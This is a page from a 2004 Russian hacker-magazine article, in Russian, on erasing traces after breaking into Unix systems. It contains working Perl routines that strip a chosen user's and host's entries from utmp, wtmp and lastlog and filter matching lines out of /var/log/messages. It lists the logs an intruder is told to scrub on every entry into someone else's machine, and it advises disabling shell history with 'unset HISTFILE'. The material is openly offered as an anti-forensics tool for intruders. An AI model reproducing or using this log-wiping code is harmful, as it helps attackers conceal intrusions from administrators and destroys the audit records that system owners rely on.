Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Скажи логам нет!

Докучаев Дмитрий aka Forb

Xakep, номер #069, стр. 069-080-4


Чистка бинарного utmp

sub binary {

use User::Utmp qw(utmpname getut putut);

$file=shift;

utmpname($file);

@utmp=getut();

open(TMP,"> /tmp/.tmp");

close(TMP);

utmpname("/tmp/.tmp");

foreach $entry (@utmp) {

putut($entry) if ($entry-> {"ut_user"} ne $opt_u && $entry-> {"ut_host"} ne $opt_h);

}

system("mv /tmp/.tmp $file");

return 1;

}

Видно, что binary() передается название файла. Затем происходит подвязка модуля с тремя важными процедурами. После чтения информации из файла /var/run/utmp создается пустой файл .tmp во временном каталоге. Теперь сверяем текущие записи на наличие искомого хоста и имени юзера. Если совпадений не произошло, записываем структуру во временный файл. В конце кода происходит замещение главного лога временным журналом. Правда, все просто?

Таким образом, тебе достаточно добавить в код еще два вызова процедуры binary() для файлов wtmp и lastlog, т.к. обработка этих файлов аналогична utmp.

Настало время заняться текстовыми журналами, а именно чисткой файла /var/log/messages. Эту задачу берет на себя процедура ascii(), которой также передается название журнала.

Вычищаем /var/log/messages

sub ascii {

$file = shift;

open(READ,"$file");

open(WRITE,"> /tmp/.tmp");

while(<READ> ) {

print WRITE $_

if ($_!~/$opt_h/o);

}

system("mv /tmp/.tmp $file");

}

close(READ);

close(WRITE);

Ничего сложного. Открываем лог синхронно с временным файлом. Если указанного шаблона в журнале нет, можно записать строку в /tmp/.tmp. Флажок «o» в регулярном выражении отвечает за однократную компиляцию шаблона, которая значительно увеличивает скорость работы логклинера. Надеюсь, ты понял, что логи – первое средство против хакеров. Даже неопытный администратор заподозрит неладное, если увидит подозрительные входы на свою машину. Его опасение подтвердятся после чтения /var/log/messages. А все потому, что ты вовремя не позаботился об удалении лишних строк из системных журналов.

Текстовые стукачи

Вот список логов, которые могут содержать компромат на тебя. Обязательно вычищай их при каждом входе в чужую систему:

/var/log/messages – основной лог от syslogd. Содержит главные системные оповещения (информация о заходах, смена уида, неверная авторизация и т.п.).

/var/log/secure – журнал содержит инфу о любой системной авторизации (включая ip и имена пользователей).

/var/log/xferlog – лог, содержащий данные о перекачке файлов на локальный ftp. Если ты используешь FTP-сервер для скачивания вареза, обязательно подчищай xferlog.

/var/log/dmesg – журнал загрузки системы. Может содержать информацию о подгрузке ядерных модулей и прочих хакерских утилит. Обязательно анализируй этот файл, а в случае подозрительных записей – немедленно вычищай их.

.bash_history и .mysql_history. Создаются в домашнем каталоге и содержат команды bash и mysql. Обязательно проверяй их содержимое и регулярно вычищай. Бдительные админы всегда смотрят эти логи. Лучшее лекарство от ведения .bash_history – команда unset HISTFILE при каждом заходе в консоль.

Альтернативный syslogd

Назад на стр. 069-080-3  Содержание  Вперед на стр. 069-080-5